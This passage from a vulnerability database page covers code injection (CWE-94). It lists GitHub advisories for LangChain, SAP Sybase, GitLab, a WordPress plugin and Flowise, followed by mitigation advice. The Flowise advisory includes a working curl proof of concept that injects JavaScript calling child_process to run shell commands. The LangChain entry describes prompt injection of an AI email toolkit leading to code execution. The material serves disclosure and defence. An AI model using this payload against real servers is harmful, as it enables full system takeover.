"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: FlowiseAI Pre-Auth Arbitrary Code Execution",
"withdrawn": "2025-10-17T20:22:08Z"
}
GHSA-3G6X-VQ45-V2JV
Vulnerability from github – Published: 2025-07-29 15:31 – Updated: 2025-08-04 00:30langchain-ai v0.3.51 was discovered to contain an indirect prompt injection vulnerability in the GmailToolkit component. This vulnerability allows attackers to execute arbitrary code and compromise the application via a crafted email message.
{
"affected": [],
"aliases": [
"CVE-2025-46059"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T15:15:35Z",
"severity": "CRITICAL"
},
"details": "langchain-ai v0.3.51 was discovered to contain an indirect prompt injection vulnerability in the GmailToolkit component. This vulnerability allows attackers to execute arbitrary code and compromise the application via a crafted email message.",
"id": "GHSA-3g6x-vq45-v2jv",
"modified": "2025-08-04T00:30:30Z",
"published": "2025-07-29T15:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46059"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain-community/issues/217#issuecomment-3144824471"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/issues/30833"
},
{
"type": "WEB",
"url": "https://github.com/Jr61-star/CVEs/blob/main/CVE-2025-46059.md"
},
{
"type": "WEB",
"url": "https://python.langchain.com/docs/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3G8J-WV99-PQ35
Vulnerability from github – Published: 2022-05-17 04:57 – Updated: 2022-05-17 04:57SAP Sybase Adaptive Server Enterprise (ASE) before 15.0.3 ESD#4.3, 15.5 before 15.5 ESD#5.3, and 15.7 before 15.7 SP50 or 15.7 SP100 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka CR736689.
{
"affected": [],
"aliases": [
"CVE-2013-6866"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-23T18:55:00Z",
"severity": "HIGH"
},
"details": "SAP Sybase Adaptive Server Enterprise (ASE) before 15.0.3 ESD#4.3, 15.5 before 15.5 ESD#5.3, and 15.7 before 15.7 SP50 or 15.7 SP100 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka CR736689.",
"id": "GHSA-3g8j-wv99-pq35",
"modified": "2022-05-17T04:57:12Z",
"published": "2022-05-17T04:57:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6866"
},
{
"type": "WEB",
"url": "https://service.sap.com/sap/support/notes/1893560"
},
{
"type": "WEB",
"url": "http://scn.sap.com/docs/DOC-8218"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/55537"
},
{
"type": "WEB",
"url": "http://www.sybase.com/detail?id=1099371"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3G8V-4F9F-5RWP
Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-09 00:32GitLab has remediated an issue in GitLab EE affecting all versions from 18.0.0 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that in Code Quality reports could have allowed an authenticated user to leak IP addresses of users viewing the report via specially crafted content.
{
"affected": [],
"aliases": [
"CVE-2026-1516"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T23:16:57Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.0.0 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that in Code Quality reports could have allowed an authenticated user to leak IP addresses of users viewing the report via specially crafted content.",
"id": "GHSA-3g8v-4f9f-5rwp",
"modified": "2026-04-09T00:32:01Z",
"published": "2026-04-09T00:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1516"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3514461"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/587893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3GCJ-473G-7XHQ
Vulnerability from github – Published: 2025-01-07 06:32 – Updated: 2025-01-07 06:32The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.
{
"affected": [],
"aliases": [
"CVE-2024-12471"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T06:15:17Z",
"severity": "HIGH"
},
"details": "The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text \u0026 Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.",
"id": "GHSA-3gcj-473g-7xhq",
"modified": "2025-01-07T06:32:16Z",
"published": "2025-01-07T06:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12471"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/post-saint"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc17284e-65ea-4e67-aba9-3475f0174657?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3GCM-F6QX-FF7P
Vulnerability from github – Published: 2025-09-15 19:59 – Updated: 2025-10-13 15:49Description
Cause of the Vulnerability
The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs.
Vulnerability Flow
- User Input Received: Input is provided via the API endpoint
/api/v1/node-load-method/customMCPthrough themcpServerConfigparameter. - Variable Substitution: The
substituteVariablesInStringfunction replaces template variables like$vars.xxx, but no security filtering is applied during this step. - Dangerous Code Execution: The
convertToValidJSONStringfunction executes the input usingFunction('return ' + inputString)(). If theinputStringcontains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.
Taint Flow
-
Taint 01: Route Registration
index.ts(Line 5) -
Taint 02: Controller
index.ts(Line 57–78) -
Taint 03: Service
index.ts(Line 91–94) -
Taint 04: CustomMCP Node Entry Point
CustomMCP.ts(Line 132) -
Taint 05: Variable Substitution
CustomMCP.ts(Line 220) -
Taint 06: Dangerous Constructor Execution
CustomMCP.ts(Line 262–270)
Proof of Concept (PoC)
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
- Full system compromise
- File system access
- Command execution
- Sensitive data exfiltration
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.5"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.5"
]
}
],
"aliases": [
"CVE-2025-59528"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T19:59:57Z",
"nvd_published_at": "2025-09-22T20:15:39Z",
"severity": "CRITICAL"
},
"details": "## Description\n\n### Cause of the Vulnerability\n\nThe `CustomMCP` node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided `mcpServerConfig` string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.\n\nSpecifically, inside the `convertToValidJSONString` function, user input is directly passed to the `Function()` constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as `child_process` and `fs`.\n\n### Vulnerability Flow\n\n1. **User Input Received**: Input is provided via the API endpoint `/api/v1/node-load-method/customMCP` through the `mcpServerConfig` parameter.\n2. **Variable Substitution**: The `substituteVariablesInString` function replaces template variables like `$vars.xxx`, but no security filtering is applied during this step.\n3. **Dangerous Code Execution**: The `convertToValidJSONString` function executes the input using `Function(\u0027return \u0027 + inputString)()`. If the `inputString` contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.\n\n## Taint Flow\n\n- **Taint 01: Route Registration** \n [`index.ts` (Line 5)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/routes/node-load-methods/index.ts#L5)\n\n- **Taint 02: Controller** \n [`index.ts` (Line 57\u201378)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/nodes/index.ts#L57-L78)\n\n- **Taint 03: Service** \n [`index.ts` (Line 91\u201394)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/nodes/index.ts#L91-L94)\n\n- **Taint 04: CustomMCP Node Entry Point** \n [`CustomMCP.ts` (Line 132)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L132)\n\n- **Taint 05: Variable Substitution** \n [`CustomMCP.ts` (Line 220)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L220)\n\n- **Taint 06: Dangerous Constructor Execution** \n [`CustomMCP.ts` (Line 262\u2013270)](https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L262-L270)\n\n## Proof of Concept (PoC)\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\" \\\n -d \u0027{\n \"loadMethod\": \"listActions\",\n \"inputs\": {\n \"mcpServerConfig\": \"({x:(function(){const cp = process.mainModule.require(\\\"child_process\\\");cp.execSync(\\\"echo !!RCE-OK!! \u003e/tmp/RCE.txt\\\");return 1;})()})\"\n }\n }\u0027\n```\n\u003cimg width=\"1907\" height=\"958\" alt=\"image\" src=\"https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962\" /\u003e\n\nWhen executed, this creates a file `/tmp/RCE.txt` on the server, confirming command execution.\n\n## Impact\n\n### Complete System Takeover and Infrastructure Threat\n\nThis vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:\n\n- Full system compromise\n- File system access\n- Command execution\n- Sensitive data exfiltration\n\nAs only an API token is required, this poses an extreme security risk to business continuity and customer data.",
"id": "GHSA-3gcm-f6qx-ff7p",
"modified": "2025-10-13T15:49:17Z",
"published": "2025-09-15T19:59:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59528"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L132"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L220"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L262-L270"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/nodes/index.ts#L57-L78"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/routes/node-load-methods/index.ts#L5"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/nodes/index.ts#L91-L94"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flowise has Remote Code Execution vulnerability"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.